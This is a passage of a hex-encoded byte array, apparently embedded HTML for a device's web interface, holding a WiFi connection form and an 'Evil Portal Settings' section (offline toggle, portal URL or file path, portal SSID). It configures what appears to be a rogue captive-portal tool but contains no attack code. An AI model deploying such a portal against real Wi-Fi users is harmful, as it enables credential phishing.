0x22, 0x20, 0x72, 0x65, 0x61, 0x64, 0x6F, 0x6E, 0x6C, 0x79, 0x3E, 0x0D, + 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x2F, 0x64, + 0x69, 0x76, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x3C, 0x68, 0x32, 0x3E, 0x43, 0x6F, 0x6E, 0x6E, 0x65, 0x63, 0x74, + 0x20, 0x74, 0x6F, 0x20, 0x57, 0x69, 0x46, 0x69, 0x20, 0x4E, 0x65, 0x74, + 0x77, 0x6F, 0x72, 0x6B, 0x3C, 0x2F, 0x68, 0x32, 0x3E, 0x0D, 0x0A, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x64, 0x69, 0x76, 0x20, + 0x63, 0x6C, 0x61, 0x73, 0x73, 0x3D, 0x22, 0x69, 0x6E, 0x70, 0x75, 0x74, + 0x2D, 0x67, 0x72, 0x6F, 0x75, 0x70, 0x22, 0x3E, 0x0D, 0x0A, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x6C, + 0x61, 0x62, 0x65, 0x6C, 0x20, 0x66, 0x6F, 0x72, 0x3D, 0x22, 0x77, 0x69, + 0x66, 0x69, 0x5F, 0x73, 0x73, 0x69, 0x64, 0x22, 0x3E, 0x57, 0x69, 0x46, + 0x69, 0x20, 0x53, 0x53, 0x49, 0x44, 0x20, 0x0D, 0x0A, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x3C, 0x73, 0x70, 0x61, 0x6E, 0x20, 0x63, 0x6C, 0x61, 0x73, 0x73, + 0x3D, 0x22, 0x74, 0x6F, 0x6F, 0x6C, 0x74, 0x69, 0x70, 0x22, 0x3E, 0x3F, + 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x73, + 0x70, 0x61, 0x6E, 0x20, 0x63, 0x6C, 0x61, 0x73, 0x73, 0x3D, 0x22, 0x74, + 0x6F, 0x6F, 0x6C, 0x74, 0x69, 0x70, 0x74, 0x65, 0x78, 0x74, 0x22, 0x3E, + 0x45, 0x6E, 0x74, 0x65, 0x72, 0x20, 0x74, 0x68, 0x65, 0x20, 0x53, 0x53, + 0x49, 0x44, 0x20, 0x6F, 0x66, 0x20, 0x74, 0x68, 0x65, 0x20, 0x57, 0x69, + 0x46, 0x69, 0x20, 0x6E, 0x65, 0x74, 0x77, 0x6F, 0x72, 0x6B, 0x20, 0x79, + 0x6F, 0x75, 0x20, 0x77, 0x61, 0x6E, 0x74, 0x20, 0x74, 0x6F, 0x20, 0x63, + 0x6F, 0x6E, 0x6E, 0x65, 0x63, 0x74, 0x20, 0x74, 0x6F, 0x2E, 0x3C, 0x2F, + 0x73, 0x70, 0x61, 0x6E, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, + 0x2F, 0x73, 0x70, 0x61, 0x6E, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x2F, 0x6C, 0x61, + 0x62, 0x65, 0x6C, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x69, 0x6E, 0x70, 0x75, 0x74, + 0x20, 0x74, 0x79, 0x70, 0x65, 0x3D, 0x22, 0x74, 0x65, 0x78, 0x74, 0x22, + 0x20, 0x69, 0x64, 0x3D, 0x22, 0x77, 0x69, 0x66, 0x69, 0x5F, 0x73, 0x73, + 0x69, 0x64, 0x22, 0x20, 0x70, 0x6C, 0x61, 0x63, 0x65, 0x68, 0x6F, 0x6C, + 0x64, 0x65, 0x72, 0x3D, 0x22, 0x45, 0x6E, 0x74, 0x65, 0x72, 0x20, 0x57, + 0x69, 0x46, 0x69, 0x20, 0x53, 0x53, 0x49, 0x44, 0x22, 0x3E, 0x0D, 0x0A, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x2F, 0x64, 0x69, + 0x76, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x3C, 0x64, 0x69, 0x76, 0x20, 0x63, 0x6C, 0x61, 0x73, 0x73, 0x3D, 0x22, + 0x69, 0x6E, 0x70, 0x75, 0x74, 0x2D, 0x67, 0x72, 0x6F, 0x75, 0x70, 0x22, + 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x3C, 0x6C, 0x61, 0x62, 0x65, 0x6C, 0x20, 0x66, 0x6F, + 0x72, 0x3D, 0x22, 0x77, 0x69, 0x66, 0x69, 0x5F, 0x70, 0x61, 0x73, 0x73, + 0x77, 0x6F, 0x72, 0x64, 0x22, 0x3E, 0x57, 0x69, 0x46, 0x69, 0x20, 0x50, + 0x61, 0x73, 0x73, 0x77, 0x6F, 0x72, 0x64, 0x20, 0x0D, 0x0A, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x3C, 0x73, 0x70, 0x61, 0x6E, 0x20, 0x63, 0x6C, 0x61, 0x73, + 0x73, 0x3D, 0x22, 0x74, 0x6F, 0x6F, 0x6C, 0x74, 0x69, 0x70, 0x22, 0x3E, + 0x3F, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, + 0x73, 0x70, 0x61, 0x6E, 0x20, 0x63, 0x6C, 0x61, 0x73, 0x73, 0x3D, 0x22, + 0x74, 0x6F, 0x6F, 0x6C, 0x74, 0x69, 0x70, 0x74, 0x65, 0x78, 0x74, 0x22, + 0x3E, 0x45, 0x6E, 0x74, 0x65, 0x72, 0x20, 0x74, 0x68, 0x65, 0x20, 0x70, + 0x61, 0x73, 0x73, 0x77, 0x6F, 0x72, 0x64, 0x20, 0x6F, 0x66, 0x20, 0x74, + 0x68, 0x65, 0x20, 0x57, 0x69, 0x46, 0x69, 0x20, 0x6E, 0x65, 0x74, 0x77, + 0x6F, 0x72, 0x6B, 0x20, 0x79, 0x6F, 0x75, 0x20, 0x77, 0x61, 0x6E, 0x74, + 0x20, 0x74, 0x6F, 0x20, 0x63, 0x6F, 0x6E, 0x6E, 0x65, 0x63, 0x74, 0x20, + 0x74, 0x6F, 0x2E, 0x3C, 0x2F, 0x73, 0x70, 0x61, 0x6E, 0x3E, 0x0D, 0x0A, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x3C, 0x2F, 0x73, 0x70, 0x61, 0x6E, 0x3E, 0x0D, + 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x3C, 0x2F, 0x6C, 0x61, 0x62, 0x65, 0x6C, 0x3E, 0x0D, 0x0A, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, + 0x69, 0x6E, 0x70, 0x75, 0x74, 0x20, 0x74, 0x79, 0x70, 0x65, 0x3D, 0x22, + 0x74, 0x65, 0x78, 0x74, 0x22, 0x20, 0x69, 0x64, 0x3D, 0x22, 0x77, 0x69, + 0x66, 0x69, 0x5F, 0x70, 0x61, 0x73, 0x73, 0x77, 0x6F, 0x72, 0x64, 0x22, + 0x20, 0x70, 0x6C, 0x61, 0x63, 0x65, 0x68, 0x6F, 0x6C, 0x64, 0x65, 0x72, + 0x3D, 0x22, 0x45, 0x6E, 0x74, 0x65, 0x72, 0x20, 0x57, 0x69, 0x46, 0x69, + 0x20, 0x50, 0x61, 0x73, 0x73, 0x77, 0x6F, 0x72, 0x64, 0x22, 0x3E, 0x0D, + 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x2F, 0x64, + 0x69, 0x76, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x3C, 0x62, 0x75, 0x74, 0x74, 0x6F, 0x6E, 0x20, 0x6F, 0x6E, 0x63, + 0x6C, 0x69, 0x63, 0x6B, 0x3D, 0x22, 0x63, 0x6F, 0x6E, 0x6E, 0x65, 0x63, + 0x74, 0x54, 0x6F, 0x57, 0x69, 0x46, 0x69, 0x28, 0x29, 0x22, 0x3E, 0x43, + 0x6F, 0x6E, 0x6E, 0x65, 0x63, 0x74, 0x3C, 0x2F, 0x62, 0x75, 0x74, 0x74, + 0x6F, 0x6E, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x2F, 0x64, + 0x69, 0x76, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x21, 0x2D, + 0x2D, 0x20, 0x45, 0x76, 0x69, 0x6C, 0x20, 0x50, 0x6F, 0x72, 0x74, 0x61, + 0x6C, 0x20, 0x53, 0x65, 0x63, 0x74, 0x69, 0x6F, 0x6E, 0x20, 0x2D, 0x2D, + 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x64, 0x69, 0x76, 0x20, + 0x63, 0x6C, 0x61, 0x73, 0x73, 0x3D, 0x22, 0x73, 0x65, 0x74, 0x74, 0x69, + 0x6E, 0x67, 0x73, 0x2D, 0x73, 0x65, 0x63, 0x74, 0x69, 0x6F, 0x6E, 0x22, + 0x20, 0x69, 0x64, 0x3D, 0x22, 0x65, 0x76, 0x69, 0x6C, 0x2D, 0x70, 0x6F, + 0x72, 0x74, 0x61, 0x6C, 0x2D, 0x73, 0x65, 0x63, 0x74, 0x69, 0x6F, 0x6E, + 0x22, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x3C, 0x68, 0x32, 0x3E, 0x45, 0x76, 0x69, 0x6C, 0x20, 0x50, 0x6F, 0x72, + 0x74, 0x61, 0x6C, 0x20, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6E, 0x67, 0x73, + 0x3C, 0x2F, 0x68, 0x32, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x3C, 0x64, 0x69, 0x76, 0x20, 0x63, 0x6C, 0x61, 0x73, + 0x73, 0x3D, 0x22, 0x69, 0x6E, 0x70, 0x75, 0x74, 0x2D, 0x67, 0x72, 0x6F, + 0x75, 0x70, 0x22, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x6C, 0x61, 0x62, 0x65, 0x6C, + 0x20, 0x66, 0x6F, 0x72, 0x3D, 0x22, 0x70, 0x6F, 0x72, 0x74, 0x61, 0x6C, + 0x5F, 0x6F, 0x66, 0x66, 0x6C, 0x69, 0x6E, 0x65, 0x5F, 0x6D, 0x6F, 0x64, + 0x65, 0x22, 0x3E, 0x4F, 0x66, 0x66, 0x6C, 0x69, 0x6E, 0x65, 0x20, 0x4D, + 0x6F, 0x64, 0x65, 0x20, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x73, + 0x70, 0x61, 0x6E, 0x20, 0x63, 0x6C, 0x61, 0x73, 0x73, 0x3D, 0x22, 0x74, + 0x6F, 0x6F, 0x6C, 0x74, 0x69, 0x70, 0x22, 0x3E, 0x3F, 0x0D, 0x0A, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x73, 0x70, 0x61, 0x6E, + 0x20, 0x63, 0x6C, 0x61, 0x73, 0x73, 0x3D, 0x22, 0x74, 0x6F, 0x6F, 0x6C, + 0x74, 0x69, 0x70, 0x74, 0x65, 0x78, 0x74, 0x22, 0x3E, 0x54, 0x6F, 0x67, + 0x67, 0x6C, 0x65, 0x20, 0x6F, 0x66, 0x66, 0x6C, 0x69, 0x6E, 0x65, 0x20, + 0x6D, 0x6F, 0x64, 0x65, 0x20, 0x66, 0x6F, 0x72, 0x20, 0x74, 0x68, 0x65, + 0x20, 0x45, 0x76, 0x69, 0x6C, 0x20, 0x50, 0x6F, 0x72, 0x74, 0x61, 0x6C, + 0x2E, 0x3C, 0x2F, 0x73, 0x70, 0x61, 0x6E, 0x3E, 0x0D, 0x0A, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x3C, 0x2F, 0x73, 0x70, 0x61, 0x6E, 0x3E, 0x0D, 0x0A, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, + 0x2F, 0x6C, 0x61, 0x62, 0x65, 0x6C, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x6C, 0x61, + 0x62, 0x65, 0x6C, 0x20, 0x63, 0x6C, 0x61, 0x73, 0x73, 0x3D, 0x22, 0x74, + 0x6F, 0x67, 0x67, 0x6C, 0x65, 0x2D, 0x73, 0x77, 0x69, 0x74, 0x63, 0x68, + 0x22, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x69, 0x6E, 0x70, + 0x75, 0x74, 0x20, 0x74, 0x79, 0x70, 0x65, 0x3D, 0x22, 0x63, 0x68, 0x65, + 0x63, 0x6B, 0x62, 0x6F, 0x78, 0x22, 0x20, 0x69, 0x64, 0x3D, 0x22, 0x70, + 0x6F, 0x72, 0x74, 0x61, 0x6C, 0x5F, 0x6F, 0x66, 0x66, 0x6C, 0x69, 0x6E, + 0x65, 0x5F, 0x6D, 0x6F, 0x64, 0x65, 0x22, 0x3E, 0x0D, 0x0A, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x3C, 0x73, 0x70, 0x61, 0x6E, 0x20, 0x63, 0x6C, 0x61, 0x73, + 0x73, 0x3D, 0x22, 0x73, 0x6C, 0x69, 0x64, 0x65, 0x72, 0x22, 0x3E, 0x3C, + 0x2F, 0x73, 0x70, 0x61, 0x6E, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x2F, 0x6C, 0x61, + 0x62, 0x65, 0x6C, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x3C, 0x2F, 0x64, 0x69, 0x76, 0x3E, 0x0D, 0x0A, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x64, 0x69, 0x76, 0x20, 0x63, + 0x6C, 0x61, 0x73, 0x73, 0x3D, 0x22, 0x69, 0x6E, 0x70, 0x75, 0x74, 0x2D, + 0x67, 0x72, 0x6F, 0x75, 0x70, 0x22, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x6C, 0x61, + 0x62, 0x65, 0x6C, 0x20, 0x66, 0x6F, 0x72, 0x3D, 0x22, 0x70, 0x6F, 0x72, + 0x74, 0x61, 0x6C, 0x5F, 0x75, 0x72, 0x6C, 0x22, 0x3E, 0x57, 0x65, 0x62, + 0x73, 0x69, 0x74, 0x65, 0x20, 0x55, 0x52, 0x4C, 0x20, 0x6F, 0x72, 0x20, + 0x46, 0x69, 0x6C, 0x65, 0x20, 0x50, 0x61, 0x74, 0x68, 0x20, 0x0D, 0x0A, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x3C, 0x73, 0x70, 0x61, 0x6E, 0x20, 0x63, 0x6C, + 0x61, 0x73, 0x73, 0x3D, 0x22, 0x74, 0x6F, 0x6F, 0x6C, 0x74, 0x69, 0x70, + 0x22, 0x3E, 0x3F, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x3C, 0x73, 0x70, 0x61, 0x6E, 0x20, 0x63, 0x6C, 0x61, 0x73, 0x73, + 0x3D, 0x22, 0x74, 0x6F, 0x6F, 0x6C, 0x74, 0x69, 0x70, 0x74, 0x65, 0x78, + 0x74, 0x22, 0x3E, 0x45, 0x6E, 0x74, 0x65, 0x72, 0x20, 0x74, 0x68, 0x65, + 0x20, 0x55, 0x52, 0x4C, 0x20, 0x6F, 0x72, 0x20, 0x66, 0x69, 0x6C, 0x65, + 0x20, 0x70, 0x61, 0x74, 0x68, 0x20, 0x66, 0x6F, 0x72, 0x20, 0x74, 0x68, + 0x65, 0x20, 0x45, 0x76, 0x69, 0x6C, 0x20, 0x50, 0x6F, 0x72, 0x74, 0x61, + 0x6C, 0x2E, 0x3C, 0x2F, 0x73, 0x70, 0x61, 0x6E, 0x3E, 0x0D, 0x0A, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x3C, 0x2F, 0x73, 0x70, 0x61, 0x6E, 0x3E, 0x0D, 0x0A, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x3C, 0x2F, 0x6C, 0x61, 0x62, 0x65, 0x6C, 0x3E, 0x0D, 0x0A, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x69, + 0x6E, 0x70, 0x75, 0x74, 0x20, 0x74, 0x79, 0x70, 0x65, 0x3D, 0x22, 0x74, + 0x65, 0x78, 0x74, 0x22, 0x20, 0x69, 0x64, 0x3D, 0x22, 0x70, 0x6F, 0x72, + 0x74, 0x61, 0x6C, 0x5F, 0x75, 0x72, 0x6C, 0x22, 0x20, 0x70, 0x6C, 0x61, + 0x63, 0x65, 0x68, 0x6F, 0x6C, 0x64, 0x65, 0x72, 0x3D, 0x22, 0x45, 0x6E, + 0x74, 0x65, 0x72, 0x20, 0x55, 0x52, 0x4C, 0x22, 0x3E, 0x0D, 0x0A, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x2F, 0x64, 0x69, 0x76, + 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, + 0x64, 0x69, 0x76, 0x20, 0x63, 0x6C, 0x61, 0x73, 0x73, 0x3D, 0x22, 0x69, + 0x6E, 0x70, 0x75, 0x74, 0x2D, 0x67, 0x72, 0x6F, 0x75, 0x70, 0x22, 0x3E, + 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x3C, 0x6C, 0x61, 0x62, 0x65, 0x6C, 0x20, 0x66, 0x6F, 0x72, + 0x3D, 0x22, 0x70, 0x6F, 0x72, 0x74, 0x61, 0x6C, 0x5F, 0x73, 0x73, 0x69, + 0x64, 0x22, 0x3E, 0x57, 0x69, 0x46, 0x69, 0x20, 0x53, 0x53, 0x49, 0x44, + 0x20, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x73, 0x70, 0x61, 0x6E, + 0x20, 0x63, 0x6C, 0x61, 0x73, 0x73, 0x3D, 0x22, 0x74, 0x6F, 0x6F, 0x6C, + 0x74, 0x69, 0x70, 0x22, 0x3E, 0x3F, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x3C, 0x73, 0x70, 0x61, 0x6E, 0x20, 0x63, 0x6C, + 0x61, 0x73, 0x73, 0x3D, 0x22, 0x74, 0x6F, 0x6F, 0x6C, 0x74, 0x69, 0x70, + 0x74, 0x65, 0x78, 0x74, 0x22, 0x3E, 0x45, 0x6E, 0x74, 0x65, 0x72, 0x20, + 0x74, 0x68, 0x65, 0x20, 0x53, 0x53, 0x49, 0x44, 0x20, 0x66, 0x6F, 0x72, + 0x20, 0x74, 0x68, 0x65, 0x20, 0x57, 0x69, 0x46, 0x69, 0x20, 0x6E, 0x65, + 0x74, 0x77, 0x6F, 0x72, 0x6B, 0x20, 0x75, 0x73, 0x65, 0x64, 0x20, 0x62, + 0x79, 0x20, 0x74, 0x68, 0x65, 0x20, 0x45, 0x76, 0x69, 0x6C, 0x20, 0x50, + 0x6F, 0x72, 0x74, 0x61, 0x6C, 0x2E, 0x3C, 0x2F, 0x73, 0x70, 0x61, 0x6E, + 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x2F, 0x73, 0x70, 0x61, + 0x6E, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x3C, 0x2F, 0x6C, 0x61, 0x62, 0x65, 0x6C, 0x3E, + 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x3C, 0x69, 0x6E, 0x70, 0x75, 0x74, 0x20, 0x74, 0x79, 0x70, + 0x65, 0x3D, 0x22, 0x74, 0x65, 0x78, 0x74, 0x22, 0x20, 0x69, 0x64, 0x3D, + 0x22, 0x70, 0x6F, 0x72, 0x74, 0x61, 0x6C, 0x5F, 0x73, 0x73, 0x69, 0x64, + 0x22, 0x20, 0x70, 0x6C, 0x61, 0x63, 0x65, 0x68, 0x6F, 0x6C, 0x64, 0x65, + 0x72, 0x3D, 0x22, 0x45, 